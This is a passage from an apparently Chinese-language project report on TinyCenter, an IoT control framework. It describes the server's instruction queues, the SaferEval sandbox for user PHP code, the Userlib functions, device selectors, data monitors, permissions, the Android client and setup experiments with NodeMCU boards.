<p>首先，使用ArduinoJson将需要更新的数据转换成Json格式，再新建一个DigiData类，将isorder字段置为2，代表这是对基本数据表的操作指令，intpara置为0，表示更新或添加数据。如上图所示，CTemperature字段被设置为当前的温度。服务器在收到并分解该指令后，会首先检查设备中原有的基本数据表，如果其中不包含CTemperature字段，则会先创建该字段，然后将对应的值填入其中。</p>
<p>服务器端的op.php在接收到指令后，发现isorder字段为2，则会执行setDataTable函数，该函数分别分解服务器中已有的基本数据表和新上传的数据，将新上传的数据与原有的数据表合并后，再使用json_encode函数将新的基本数据表保存在服务器的数据库中。</p>
<p>若将intpara字段置为1，则代表删除对应的基本数据表的项，原理相似，这里不再赘述。</p>
<h2 id="基本指令队列">基本指令队列</h2>
<h3 id="什么是基本指令队列">什么是基本指令队列</h3>
<p>“基本指令队列”（Basic
OrderQueue，BOQ）是存在于服务器上的一个队列，用于存放已经发出的所有指令信息。队列中的每个项都包含以下数据：一个唯一的指令标识orderid（必须为正数，不断累加）、指令的具体内容（包含intpara和strpara）、目标设备标识clientid、目标所在的中心控制器标识ccid、指令发送者userid、状态status和创建时间。其中的ccid可以由clientid在digitalmandemo表中的项推断出来。</p>
<table>
<thead>
<tr>
<th><strong>列名</strong></th>
<th><strong>类型</strong></th>
<th><strong>意义</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Orderid</td>
<td>Int</td>
<td>指令唯一标识</td>
</tr>
<tr>
<td>Orderstring</td>
<td>Text</td>
<td>指令中的Strpara</td>
</tr>
<tr>
<td>Userid</td>
<td>Int</td>
<td>发出指令的用户id</td>
</tr>
<tr>
<td>Ccid</td>
<td>Int</td>
<td>目标Client所在的CCID</td>
</tr>
<tr>
<td>Clientid</td>
<td>Int</td>
<td>目标Client</td>
</tr>
<tr>
<td>Ordernum</td>
<td>Int</td>
<td>指令中的intpara</td>
</tr>
<tr>
<td>Status</td>
<td>Int</td>
<td>指令状态</td>
</tr>
<tr>
<td>Createdate</td>
<td>Datetime</td>
<td>创建时间</td>
</tr>
</tbody>
</table>
<p>表 42 dmorderqueue表</p>
<p>当目标设备不止一个时，Userlib将会循环地在指令队列中添加数据，换言之，对指令队列中的某一个项而言，其clientid字段只能对应一个目标设备，如果想对多个设备发送相同的指令，就必须循环地再创建一个新的指令队列项。</p>
<p>在指令最初被添加到指令队列中时，其状态（status）字段会被置为0，表示该指令目前是“未读”状态，在中心控制器从服务器端请求指令时，服务器会从未读指令中抽取一条反馈给中心控制器，并将该指令的状态字段置为1，代表“已读”。</p>
<blockquote>
<p>用户不能够直接操作基本指令队列，而必须通过“设备驱动”来添加指令。</p>
</blockquote>
<h3 id="循环过程">循环过程</h3>
<p>在中心控制器每次请求指令时，服务器会从指令队列中抽取一个未读指令，将其交给中心控制器后，再将其设为已读状态。在抽取指令的过程中，服务器会核对该条指令的CCID项是否与请求指令的中心控制器的标识一致，若不一致，则跳过该条指令。</p>
<h2 id="用户代码运行环境">用户代码运行环境</h2>
<p>用户代码运行环境是TinyCenter的特色和精华之一。用户可以通过自己编写代码操控所有的设备。它以PHP为语法，在兼顾简单易学的同时，保证了安全性，并给予了用户更大的自由度。</p>
<h3 id="使用safereval">使用SaferEval</h3>
<p>TinyCenter允许用户执行自定义PHP代码，但执行用户PHP代码对服务器的风险极大，因此TinyCenter中内置一个SaferEval组件，用于限制用户PHP代码的危险行为。</p>
<p><img loading="lazy" src="media/a86e5ae94d904d4ef7d15d6f524e4b82.png" alt=""  />
</p>
<p>图 44 SaferEval</p>
<p>SaferEval组件是基于GPL协议的开源组件，存在于服务器代码的safer_eval目录下，包含配置文件config.safereval.php和主体class.safereval.php。而example.php文件负责调用功能。</p>
<p>SaferEval首先检查用户代码中大括号的完整性；为了检查其语法错误而不运行用户代码，将整个代码装入if(0)中，再在PHP环境下运行。接着使用正则表达式屏蔽掉意料之外的可执行代码，不允许用户自定义Lambda表达式。最后匹配用户指定的安全函数和变量，如果发现范围之外的函数和表达式，则立刻终止代码的运行并报告错误。</p>
<h3 id="使用userlib">使用Userlib</h3>
<p>在SaferEval中运行的用户代码可以调用Userlib库对设备进行一系列操作。在使用Userlib时，必须先指定当前的clientid。Userlib目前支持多个函数，如下表：</p>
<table>
<thead>
<tr>
<th><strong>函数名</strong></th>
<th><strong>参数（=默认值）</strong></th>
<th><strong>对应动作</strong></th>
<th><strong>返回值</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>get_client_id</td>
<td>$clientid=0</td>
<td>查询设备标识</td>
<td>若参数为0，则返回当前clientid，否则直接返回参数值。</td>
</tr>
<tr>
<td>get_userid</td>
<td>无</td>
<td>查询用户ID</td>
<td>用户ID</td>
</tr>
<tr>
<td>get_ccid</td>
<td>$clientid=0</td>
<td>查询当前中心控制器标识</td>
<td>当前CCID</td>
</tr>
<tr>
<td>get_data_table_item</td>
<td>$item_name $clientid=0</td>
<td>查询基本数据表的项</td>
<td>若clientid为0，则查找当前设备，否则查找指定clientid对基本数据表</td>
</tr>
<tr>
<td>get_status</td>
<td>$clientid=0</td>
<td>查询设备的状态值</td>
<td>若clientid为0，则返回当前设备的状态，否则返回对应设备的状态</td>
</tr>
<tr>
<td>get_string_status</td>
<td>$clientid=0</td>
<td>查询设备的状态字符串</td>
<td>类似以上</td>
</tr>
<tr>
<td>send_msg</td>
<td>$type $title $content</td>
<td>向用户发送消息</td>
<td>无</td>
</tr>
<tr>
<td>send_bare_msg</td>
<td>$content</td>
<td>等同于send_msg(0,”blank”,$content)</td>
<td>无</td>
</tr>
<tr>
<td>run</td>
<td>$func $string_para=&quot;&quot;</td>
<td>对当前设备执行驱动，func为驱动项的名称，string_para为对应的strpara，可以留空</td>
<td>无</td>
</tr>
<tr>
<td>run_by</td>
<td>$target $func $string_para=&quot;&quot;</td>
<td>对选择的设备执行驱动</td>
<td>无</td>
</tr>
<tr>
<td>serial_run</td>
<td>$func $string_para=&quot;&quot; $success_code=&quot;&quot; $failed_code=&quot;&quot; $finally_code=&quot;&quot;</td>
<td>对当前设备执行串行指令</td>
<td>无（之后详细阐述）</td>
</tr>
<tr>
<td>serial_run_by</td>
<td>$target $func $string_para=&quot;&quot; $success_code=&quot;&quot; $failed_code=&quot;&quot; $finally_code=&quot;&quot;</td>
<td>对选中的设备执行串行指令</td>
<td>无（之后详细阐述）</td>
</tr>
</tbody>
</table>
<p>表 43 Userlib函数</p>
<h4 id="使用userlib-1">使用Userlib</h4>
<p>Userlib若是被数据监视器调起，则会自动设置当前Clientid为变更基本数据表的那个设备；若是由用户手动调用，则需要在调用时指定一个Client设备作为默认设备，在Android端可以方便地进行这一设定。</p>
<p>例如，在指定当前clientid为某Led灯时，我们可以编写如下的用户PHP指令，并在Android端执行：</p>
<p><img loading="lazy" src="media/b4e82dcd93a02c4046b7ba012663d351.png" alt=""  />
</p>
<p>图 45 Userlib示例</p>
<p>在执行上面这段用户代码后，Led灯的状态会发生变化。</p>
<p>Userlib被定义在服务器上的userlib.php中，其中还有一些以下划线开头的辅助函数，这些函数不可被用户调用，即，它们被SaferEval禁止。</p>
<p>具体的发送指令的操作方法，可以参考5.3节。</p>
<h3 id="设备选择器">设备选择器</h3>
<h4 id="什么是设备选择器">什么是设备选择器</h4>
<p>Userlib中以“_by”结尾的函数，如run_by和serial_run_by，其第一个参数target为设备选择器项。通过设备选择器，我们可以同时对多个设备做某个相同的操作。</p>
<p>设备选择器位于client_string_parser.php中，在Userlib的内部实现中调用设备选择器需要生成一个ClientStringParser对象，其构造函数的参数为当前ccid，对应”(this)”限制，然后调用parseString函数将选择器字符串转换为对应的sql语句。使用“(this)”限制可以实现设备的分区管理（可以同时参考4.6.2节）。</p>
<h4 id="限制类型和简单实例">限制类型和简单实例</h4>
<p>设备选择器支持三种类型的限制，分别为中心控制器限制、clientid限制和class限制，如下表：</p>
<table>
<thead>
<tr>
<th><strong>限制类型</strong></th>
<th><strong>限制符</strong></th>
<th><strong>多个限制之间的关系</strong></th>
<th><strong>示例</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>中心控制器限制</td>
<td>(<em>ccid</em>) (global) (this)</td>
<td>或。 例： “(1)(2)”代表1号或2号中心控制器。</td>
<td>“(1)”——将选择范围限制在1号中心控制器 “(global)”——不限制ccid，即使用所有的中心控制器 “(this)”——使用当前ccid，即为当前clientid对应的ccid</td>
</tr>
<tr>
<td>Clientid限制</td>
<td>#<em>clientid</em></td>
<td>/</td>
<td>“#1”——选中clientid为1的设备</td>
</tr>
<tr>
<td>Class限制</td>
<td>.<em>classname</em></td>
<td>与。 例： “.Led.Demo”代表同时满足Led类和Demo类。</td>
<td>“.Led”——选中设备类为Led的所有设备</td>
</tr>
</tbody>
</table>
<p>表 44设备选择器支持的限制</p>
<p>若将上述设备选择器组合起来，可以组合条件以继续缩小选择范围，如“(1)(2).Led”表示1号和2号中心控制器下的所有Led设备，“(this).Led.Demo”表示当前中心控制器下所有同时属于Led和Demo类的设备。</p>
<p>值得一提的是，如果用户未指定中心控制器限制，则会在设备选择时自动加上“(this)”限制，例如“.Led”实际上代表“(this).Led”，但若用户已经添加了中心控制器限制，如“(1).Led”则不会自动添加“(this)”限制。另外，当“(global)”限制与其他中心控制器限制共同使用时，其他的中心控制器限制将会失效，例如，“(global)(1)(2)”与”(global)”在本质上完全一致。</p>
<h2 id="数据监视器及其抽象形式">数据监视器及其抽象形式</h2>
<p>数据监视器是TinyCenter的另一大特色功能，通过数据监视器，用户可以方便地监视设备的基本数据表，实现设备之间的协同工作。</p>
<h3 id="基本运行过程">基本运行过程</h3>
<p>为了实现设备之间的协同工作，TinyCenter支持一个简单的数据监视器。</p>
<p>数据监视器会监视所有设备的基本数据表和运行状态，在基本数据表或运行状态发生改变时，监视器被调起，在满足某个条件时触发一段用户代码的执行。</p>
<p><img loading="lazy" src="media/c2ceb59f1991502bed5be2e896ba1f58.png" alt=""  />
</p>
<p>图 46数据监视器</p>
<p>数据监视器被存储在数据库中的dmmonitor表中，包含一个唯一的id、监视器状态mon_status、被监视的变量mon_var、成立条件mon_condition、被监视的设备标识mon_id、被监视的类mon_class、被监视的标签mon_label（暂未使用）、一段用户代码mon_run和监视模式mon_mode。</p>
<p>数据监视器包含多个监视器项，每个监视器项可以监视一个或多个设备的某个变量。监视器项的状态分为三种，即“离线”、“在线”和“挂起”，分别对应mon_status为0、1、2，监视器项的运行情况包括“选中”和“激活”，当监视器项所监视的一个或多个变量发生改变时，监视器项即被“选中”，但变化后的数据不一定满足监视器的激活条件，“激活”意味着监视器项中的用户代码开始运行。</p>
<p>在监视器在线或挂起时（即mon_status!=0），数据监视器将会监视基本数据表的所有数据变化情况，在设备使用指令修改基本数据表后，服务器会使用envokeMonitor函数调起监视器，以确认哪些监视器项应该被选中，再验证条件激活它们或完成其他动作。</p>
<p>在使用串行指令的时候，数据监视器也发挥了重要的作用，将在4.7节进行介绍。</p>
<h3 id="数据监视器的抽象形式">数据监视器的抽象形式</h3>
<p>数据监视器的抽象形式是指，在选择数据监视器项的时候，不仅可以依据设备标识clientid，还可以依据设备的类，使得同一个类的多个设备共用一个监视器项。例如，有多个房间内（每个房间内的设备由不同的中心控制器管辖）同时都有一台温度计（Thermometer类）和一台空调（AirConditioner类），在Thermometer类的设备更新自己的基本数据表时，数据监视器发现温度超标后，会调用用户代码<em>run_by(“.AirConditioner”,”open”);</em>，这里的设备选择器中没有提供中心控制器限制，因此会被自动加上“(this)“限制，也就是说，这里选择的是与温度超标的那台温度计同属一个中心控制器下的所有空调，而不会把所有房间的空调都打开。</p>
<p><img loading="lazy" src="media/f94cd907a770471343b58429d8627962.png" alt=""  />
</p>
<p>图 47抽象形式</p>
<p>首先监视器会核对当前修改基本数据表的设备标识是否与mon_id一致，或者其属于mon_class规定的类；其次再检查当前被更新的数据表项是否含有被监视的变量mon_var，若所有条件均满足，且mon_status不为0，则该监视器被“选中”，但此时该监视器项依然没有被“激活”，即mon_run中的代码还未开始运行，需要依据mon_mode规定的运行模式进行判断。</p>
<h3 id="选中和激活">选中和激活</h3>
<p>一个监视器项只能监视基本数据表中的一个项（mon_var），为其设定一个激活条件（mon_condition）。数据监视器是如何选中和激活监视器项的呢？事实上，利用SQL语句就可以轻松地办到。</p>
<p><img loading="lazy" src="media/712a7708ee2ac9047d6d1aab5547319a.png" alt=""  />
</p>
<p>图 48选中和激活</p>
<p>上图为envokeMonitor函数的部分内容。Sql中的语句可以筛选出选中的监视器项，而conditionx变量则代表了监视器项的激活条件是否被满足。</p>
<p>数据监视器项的具体设置方法可以见6.3节。</p>
<h3 id="三种运行模式">三种运行模式</h3>
<p>Mon_mode字段规定的监视器项的模式有三种：一次（0:once），重复（1:repeatedly），反向重复（2:reversal_repeat）。</p>
<p><img loading="lazy" src="media/31c799e543f0046c3b26b8ac9288af10.png" alt=""  />
</p>
<p>图 49“一次”模式</p>
<p><img loading="lazy" src="media/8b6c101d7cc0f6543f96f550cffb34a9.png" alt=""  />
</p>
<p>图 410“重复”模式</p>
<p>若mon_mode=0，则当前模式为“一次”，即在监视器被选中后（此时基本数据表已经被修改完成），立即会将修改后的数据表项提取出来，找到被监视的变量项，并将其与mon_condition合并判断真假值，若为真，则监视器被激活，即运行mon_run中的用户代码。在mon_run中的代码运行后，服务器将负责关闭该监视器项，即，将该监视器项的mon_status值修改为0；</p>
<p>若mon_mode=1，则当前模式为“重复”，在重复上述操作并激活监视器后，mon_run中的用户代码运行完成后，该监视器项将会继续保持在线状态；</p>
<p>若mon_mode=2，则当前模式为“反向重复”。为什么要设定反向重复模式呢？</p>
<h3 id="反向重复模式的一个例子">反向重复模式的一个例子</h3>
<p>设想这样一个场景，在某个房间中，有一个温度计和一台空调，温度计实时上传最新的温度数据到基本数据表。此时用户希望设置一个数据监视器项，使得温度计对应的基本数据表中的温度数据（假设为CTemperature项）超过某个数值（假定为25摄氏度）时，立刻开启空调。此时，显然使用“一次”模式需要手动再次开启监视器项，不够便捷，那么如果使用“重复”模式，会出现什么问题呢？</p>
<p>当Ctemperature&gt;=25时，监视器被激活，空调被开启，但空调的制冷效果具有延后性，换言之，即使当前空调被开启，房间内温度也不会立刻降低，反而可能继续升高一小段时间，而在这段时间内，温度计每上传一次最新的温度数据，监视器项就会被激活一次，导致mon_run中的用户代码被反复地执行，空调被反复地打开，这可能会使空调有些“困惑”，带来一些意想不到的问题。</p>
<p><img loading="lazy" src="media/0c0e086aad4845037576026772e47026.png2" alt=""  />
</p>
<p>图 411“反向选择”模式</p>
<p>如图，“反向重复”（Reversal
Repeat）模式解决了这一问题。首先，用户需要将监视器项的mon_mode字段置为2，在监视器选中并激活（即运行用户代码）该监视器项后，该项的mon_status会被置为2，代表当前监视器项的状态为“挂起”。之后，即使该监视器项的激活条件被满足，该项也不会被再次激活。这样，既避免了“一次”模式的手工再次开启，又避免了mon_run中的代码被反复执行多次造成的不便。</p>
<p>数据监视器也可以监视设备的status项和string_status项，在设备更新自己的状态信息时，服务器会调用envokeStatusMonitor函数，检查新的状态信息是否与监视器中的一致，这里不再赘述。</p>
<h2 id="串行指令队列">串行指令队列</h2>
<p>串行指令队列（Serial
OrderQueue，SOQ）对应Userlib中的serial_run系列函数。使用串行指令，用户可以获取一条驱动指令的完成情况，并对其作出相应的动作。</p>
<p><img loading="lazy" src="media/26e5e35ccd8ad5d808613ea22e5f4c4d.png" alt=""  />
</p>
<p>图 412串行指令队列</p>
<p>服务器对执行是否出错的判断依据为返回信息中的error字段（见3.3.2.1节），若为0，则表明未出错，反之亦然。</p>
<p>串行指令队列与基本指令队列共享一个队列，但不同的是，SOQ项的id值（传输时的isorder项）均为负数，而BOQ则为正数。指令队列在抽取一条指令时，TinyCenter不保证SOQ与BOQ项之间的先后顺序。</p>
<h3 id="使用serial_run函数">使用serial_run函数</h3>
<p>我们以Userlib中的serial_run函数为例，该函数包括五个参数，分别为func、string_para、success_code、failed_code和finally_code。</p>
<p>其中func和string_para对应着一个驱动项，驱动系统会将其翻译成设备指令并发送。由于TinyCenter规定，设备在执行完成一条指令后必须立刻返回设备的当前状态，该状态信息包括一个error字段，若该字段为0，则代表指令被正确执行，否则即为出错。</p>
<p>在执行serial_run函数时，服务器首先向SOQ中添加一条指令，再向数据监视器中添加一个临时项，其中mon_id为指令在SOQ中的id（负数），mon_mode被置为0，代表“一次”；参数中的success_code、failed_code、finally_code也会被数据监视器分开保存。</p>
<p>紧接着指令将会由“数据配送”机制发送到对应的设备中，该设备执行完成并携带SOQid和返回状态到服务器后，对应的数据监视器项被选中。数据监视器首先查看error项，若error项为0，则会调用SaferEval和Userlib执行success_code，否则执行failed_code；最后，无论此条指令执行成功还是失败，服务器都会执行一次finally_code。</p>
<h3 id="使用串行指令队列以serial_run函数为例">使用串行指令队列——以serial_run函数为例</h3>
<blockquote>
<p>我们以一段用户代码为例：</p>
</blockquote>
<p><img loading="lazy" src="media/610bf60438ba8f7543fba1113b995449.png" alt=""  />
</p>
<p>图 413示例</p>
<p>该段用户代码表示，对当前设备执行open操作，string_para留空，若执行成功或失败，则向通知中心添加一个通知信息，最后向通知中心放入finally信息并执行close操作。</p>
<p>值得注意的是，无论是success_code、failed_code还是finally_code，其中的每一条语句都应该以分号结尾，其中的引号应该加上转义字符，并且参数中的string_para不能省略。</p>
<h2 id="权限控制">权限控制</h2>
<h3 id="简述-1">简述</h3>
<p>TinyCenter是一个多用户的控制框架，支持一个简单的权限控制系统，权限控制系统或许还可以进行进一步的完善和扩展。</p>
<p>首先，所有用户都需要在数据库的dmusers表中登记，包含userid、用户名username、密码password、用户密钥userKey和密钥生成时间userKeyGenDate。为防止用户密码泄漏，设备与服务器沟通时携带的是userKey而不是password。userKey可以被方便地修改。</p>
<h3 id="设备的所有者owner">设备的“所有者”（Owner）</h3>
<p>为了防止外来设备意外接入系统，每个设备在与服务器通信时都必须指定其所属的用户id及其userKey，该用户即成为该设备的“所有者”（Owner），若验证失败，则拒绝设备的加入。</p>
<p>设备的所有者可以修改设备的访问列表isDisplay，若当前登录的用户不在设备的isDisplay列表中，则用户不会看到该设备，也不能访问之。</p>
<h2 id="信息反馈日志和用户通知系统">信息反馈——日志和用户通知系统</h2>
<h3 id="日志系统">日志系统</h3>
<p>在TinyCenter中，日志系统被用来记录系统内部发生的错误和错误发生的时间，通常可以用于服务器及用户代码的错误提示。</p>
<p>使用日志系统时，需要在php代码中添加innerlogin.php，其中包含ret和add_log函数。Add_log函数会向日志系统中添加一个记录，包含一个错误代号和具体的错误内容，而ret函数则会在添加完成后直接终止PHP代码的运行。Ret函数还会过滤掉errid为-2的错误信息，因为它是中心控制器询问指令队列时，指令队列为空时发出的错误代号，该错误的发生十分频繁和平常，因此不需要被记录。</p>
<p>在执行用户代码时，用户不能直接调用add_log和ret函数，因此用户不能直接使用日志系统。但日志系统会记录用户代码的出错信息，例如，当用户代码中包含文件操作等其他危险函数，SaferEval拒绝执行时，该错误会被日志系统记录。</p>
<h3 id="用户通知系统">用户通知系统</h3>
<p>日志系统不能被用户代码直接调用，但是通知系统却可以。使用Userlib中的send_msg和send_bare_msg函数，可以直接向通知中心添加内容。</p>
<p>通知信息被存储在数据库中的dmmsg表中，包含msgid、消息类型type、消息标题title、内容content、按钮信息buttons、来源userid和clientid以及创建时间。</p>
<p>通知信息可以由用户代码直接发送，可以在对应的客户端上添加推送功能，使得用户可以与设备进行实时沟通。（见5.2.5节）</p>
<h2 id="与android客户端的信息交互">与Android客户端的信息交互</h2>
<p>服务器端与Android客户端的信息交换主要依靠user_set.php和user_get.php文件，前者用于数据的获取（5.2节），后者用于指令的发送（主要为5.3节）。</p>
<p>信息的获取需要用到userid、userkey和op参数，其中userid和userkey在登陆时已经被确定。</p>
<blockquote>
<p><img loading="lazy" src="media/380bdde7514c38250255fb00204599fc.png" alt=""  />
</p>
</blockquote>
<p>图 414 user_get.php</p>
<blockquote>
<p>如图示，user_get.php使用op参数区分不同的动作，user_set.php也是如此。</p>
</blockquote>
<blockquote>
<p><img loading="lazy" src="media/32096aea8cdba2f0019fe46f3f2a13e0.png" alt=""  />
</p>
</blockquote>
<p>图 415 user_set.php</p>
<h1 id="android客户端软件设计">Android客户端软件设计</h1>
<h2 id="用户登录页面">用户登录页面</h2>
<p><img loading="lazy" src="media/261d50b8e28955e890587bec9d9fe6c0.png" alt=""  />
</p>
<p>图 51登录页面</p>
<p>用户在登录页面输入用户名和密码，点击登录后进行验证。用户名和密码被存放在dmusers表中。若用户登录成功，则会取回用户的userKey，后续操作都将使用到userKey与服务器交互。测试用户为：用户名“admin”，密码“123”。</p>
<h2 id="设备信息页面">设备信息页面</h2>
<p>设备信息页面包含整个TinyCenter系统的信息展示，分为以下六个板块，我们将分别展示它们。值得一提的是，所有的页面都包含“下拉刷新”功能。</p>
<p>下图为信息页面的导航：</p>
<p><img loading="lazy" src="media/8ed6b744976d33fdcdcb74a1187ba522.png" alt=""  />
</p>
<p>图 52信息页面的导航</p>
<h3 id="所有设备">所有设备</h3>
<p><img loading="lazy" src="media/79abee19b421ca8d5fbeb740a1ee2fa0.png" alt=""  />
<img loading="lazy" src="media/6f9703ac39a241ad311c9cc7c698bbc1.png" alt=""  />
<img loading="lazy" src="media/2ae7d99bc4e9d5e1634148d7c1795b71.png" alt=""  />
</p>
<p>图 53“所有设备”页面</p>
<p>在“所有设备”页面下，该用户可以看到所有被允许的设备。点击可以显示设备的详细信息，也可以查看其基本数据表或发送指令。在设备项的右侧，有“Open”和“Close”两个快捷按钮，它们由4.1.2节中的Buttons项定义。</p>
<p>重新获取信息只需要下拉页面即可刷新，刷新成功后会显示“刷新完成”的提示；点击右下角的按钮可以进入用户代码页面。</p>
<h3 id="指令队列">指令队列</h3>
<p><img loading="lazy" src="media/667466481bc8e8272ddc42afa5653864.png" alt=""  />
<img loading="lazy" src="media/469f01d4340bfda5e4804732ea9ad3c6.png" alt=""  />
</p>
<p>图 54指令队列</p>
<p>Android客户端可以查看指令队列的未读信息。点击该信息会显示具体信息，也可以删除该指令。</p>
<h3 id="监视器">监视器</h3>
<p><img loading="lazy" src="media/6d530d41d5f9a7df83f190524eece55a.png" alt=""  />
<img loading="lazy" src="media/da1c4882be218d28085afea6c81d6b04.png" alt=""  />
</p>
<p>图 55监视器</p>
<p>在“监视器”一栏，所有的监视器都被显示出来，包括其激活条件（CODE按钮下方的字符串）和当前状态。点击CODE按钮会显示其附带的用户代码。</p>
<h3 id="日志">日志</h3>
<p><img loading="lazy" src="media/1babe56fc19b14c89ba662b0919ea390.png" alt=""  />
<img loading="lazy" src="media/cea2c5a70ef2a573b8eb25319d3e6195.png" alt=""  />
</p>
<p>图 56日志</p>
<p>“日志”一栏中会显示TinyCenter中的运行时错误信息。</p>
<h3 id="通知">通知</h3>
<p><img loading="lazy" src="media/9303346cb05ee370d118047d9d0a646c.png" alt=""  />
<img loading="lazy" src="media/760b2ea577e2916f64b77836d8de06e2.png" alt=""  />
</p>
<p>图 57通知</p>
<p>“通知”一栏中显示的是由用户代码发出的用户通知。</p>
<h3 id="关于">关于</h3>
<p><img loading="lazy" src="media/a0b6191bb3c0e88fce1c4b1f7884e29e.png" alt=""  />
</p>
<p>图 58关于</p>
<p>“关于”页面会显示Android客户端的版本信息。</p>
<h2 id="用户代码页面">用户代码页面</h2>
<p><img loading="lazy" src="media/9428c01479d3ec1eae09d59e8bf1cb86.png" alt=""  />
<img loading="lazy" src="media/fa8e7d70cb7e62d1b5c03021c231b97b.png" alt=""  />
</p>
<p>图 59用户代码发送页面</p>
<p>在设备信息页面，点击右下角的紫色按钮即可进入到用户代码发送页面。用户可以在输入栏中直接编写用户代码，在上方选择一个默认设备，点击右下角的发送按钮即可直接执行。</p>
<h2 id="实现模型">实现模型</h2>
<p>信息页面使用了ViewModel模型来存储和更新数据，达到软件设计中的&quot;高内聚,低耦合&quot;的目标[12]。以“状态”页面为例，在onCreateView函数中我们首先获得ViewModel：</p>
<p><img loading="lazy" src="media/d77b3dfcfaf9ee6617a47365cce769ac.png" alt=""  />
</p>
<p>图 510获得ViewModel</p>
<p>同时使用observe函数观察ViewModel中的数据值，如果发生了变化，则自动刷新RecyclerView：</p>
<p><img loading="lazy" src="media/c4b59dbcbb48814884f83f291c9debfd.png" alt=""  />
</p>
<p>图 511使用observe函数</p>
<p>为了实现下拉刷新功能，这里使用了swipeRefreshLayout：</p>
<p><img loading="lazy" src="media/a3e8f90b9e7a6e5628c3bad205076549.png" alt=""  />
</p>
<p>图 512使用swipeRefreshLayout</p>
<p>Refresh函数会调用ViewModel中的刷新功能：</p>
<p><img loading="lazy" src="media/15f92e814913abd5a90a058826f59f5b.png" alt=""  />
</p>
<p>图 513 Refresh函数</p>
<p>在ViewModel中，getData函数会从服务器下载信息，并将其加载到LiveData中，最终引发Fragment中的Observer启动，并刷新RecyclerView：</p>
<p><img loading="lazy" src="media/26baeccd9150f54f0ac4efe0a44dfbe0.png" alt=""  />
</p>
<p>图 514 getData函数</p>
<p>在获得了Client设备的全部信息之后，我们需要向Client列表中添加快捷按钮：</p>
<p><img loading="lazy" src="media/8046fa0fd212c46f04b083011226ea93.png" alt=""  />
</p>
<p>图 515快捷按钮</p>
<p>其他页面的运行情况与上述页面基本类似，这里不再赘述。</p>
<h1 id="实验与测试">实验与测试</h1>
<p>我们设计几个简单的实验来测试TinyCenter系统的运行情况。</p>
<h2 id="前期准备">前期准备</h2>
<ol>
<li>
<p>购买一个云端虚拟主机，并配置其PHP和MySql环境；</p>
</li>
<li>
<p>将server文件夹下的文件复制到虚拟主机；</p>
</li>
<li>
<p>将SQL.sql刷入MySql中；</p>
</li>
<li>
<p>在数据库中配置设备的类信息（digitalmandemo表，图 61类信息）；</p>
</li>
</ol>
<p>从理论上讲，新设备接入时不需要用户干预，但在设置类、快捷按钮、驱动等信息时，需要先让设备接入后（服务器端digitalmandemo表中插入新的设备项后）再手动设置。这里为了测试方便，提前手动设置。</p>
<p><img loading="lazy" src="media/a5a7daa9dde41635a8b9ddaeceeb46ee.png" alt=""  />
</p>
<p>图 61类信息</p>
<ol>
<li>在数据库中配置快捷按钮信息（digitalmandemo表，图 62快捷按钮信息）；</li>
</ol>
<p><img loading="lazy" src="media/7cbe5de3947e7cefdbd393ac0fd9daf6.png" alt=""  />
</p>
<p>图 62快捷按钮信息</p>
<ol>
<li>在数据库中插入驱动信息（digi_drv表，图 63 LED驱动信息）；</li>
</ol>
<p><img loading="lazy" src="media/d7ffa87ddc35490ebc6d3940f5d373ac.png" alt=""  />
</p>
<p>图 63 LED驱动信息</p>
<ol>
<li>在dmusers表中查看用户信息，并尝试登录Android应用（图 64用户信息）；</li>
</ol>
<p><img loading="lazy" src="media/7c31408881a086710306ce43ba7dfe54.png" alt=""  />
</p>
<p>图 64用户信息</p>
<ol>
<li>配置Client设备的描述、名称等其他信息（digitalmandemo表，图 65其他信息）。</li>
</ol>
<p><img loading="lazy" src="media/c3f1d29e46bd1faae27ce2738859c891.png" alt=""  />
</p>
<p>图 65其他信息</p>
<ol>
<li>在Android代码的site/string.xml下修改site_address域名信息。</li>
</ol>
<p><img loading="lazy" src="media/0d72c1e8e3b6ed10dafd95a8c09eadc3.png" alt=""  />
</p>
<p>图 66域名信息</p>
<h2 id="实时温度计">实时温度计</h2>
<h3 id="准备工作">准备工作</h3>
<p><img loading="lazy" src="media/d1714a536b193ba2177ce9274dfc76d9.png" alt=""  />
</p>
<p>图 67温度计函数</p>
<p><img loading="lazy" src="media/2678216760b2fadc2089ff8f1b2205d3.png" alt=""  />
</p>
<p>图 68 loop函数</p>
<ol>
<li>
<p>准备两台NodeMCU。一台为Client设备（温度计），另一台为中心控制器；</p>
</li>
<li>
<p>将digiMQTTDHT11.ino（Client设备）和init.ino（中心控制器）设置好WiFi信息；</p>
</li>
<li>
<p>写入图 67温度计函数中的代码到digiMQTTDHT11.ino；（已经写好）</p>
</li>
<li>
<p>在loop函数中调用setDataTableTest函数，如图 68；（已经写好）</p>
</li>
<li>
<p>分别将代码刷入两台NodeMCU；</p>
</li>
<li>
<p>将DHT11接入Client设备，DAT接NodeMCU的D4接口；</p>
</li>
<li>
<p>分别接通电源。</p>
</li>
</ol>
<h3 id="观察信息">观察信息</h3>
<p><img loading="lazy" src="media/d26d5b6c78c49cb56029055cb73c28a8.png" alt=""  />
</p>
<p>图 69详细信息</p>
<p><img loading="lazy" src="media/150b2442b2d00201f5cd9ce504873bbd.png" alt=""  />
</p>
<p>图 610基本数据表</p>
<p>温度计每隔20秒会上传一次最新的温度信息（图 68
loop函数），在Android客户端中（5.2.1节）可以看到设备的详细信息，当前status值为1，代表设备已经上线，点击“基本数据表”可以看到当前环境的温度值（图
610基本数据表）。</p>
<p>同时，可以在中心控制器的串口中看到数据传输的情况（图
611数据传输情况），可以看到clientid字段为2，表示此设备的设备标识为2；isorder字段为2，代表修改基本数据表；intpara为0，代表更新数据；str中保存着需要更新的项及其对应的值（JSON格式）。</p>
<p><img loading="lazy" src="media/dbacecc40cf7273094ece87d653f33ca.png" alt=""  />
</p>
<p>图 611数据传输情况</p>
<h2 id="数据监视器和快捷按钮">数据监视器和快捷按钮</h2>
<h3 id="准备工作-1">准备工作</h3>
<p><img loading="lazy" src="media/3817e9184825d97aab3ccf782c465973.png" alt=""  />
</p>
<p>图 612 LED灯</p>
<ol>
<li>
<p>在6.2节的基础上，再准备一个NodeMCU，作为LED灯的演示，其中的LED为NodeMCU内置；</p>
</li>
<li>
<p>在digiMQTTTest中修改其justRunOrder函数（图 612
LED灯），使之能够解析服务器端发来的指令，并设置其WiFi信息；（已经写好）</p>
</li>
<li>
<p>将digiMQTTTest刷入NodeMCU中；</p>
</li>
<li>
<p>写入数据监视器项（dmmonitor表，图 613数据监视器项）；</p>
</li>
</ol>
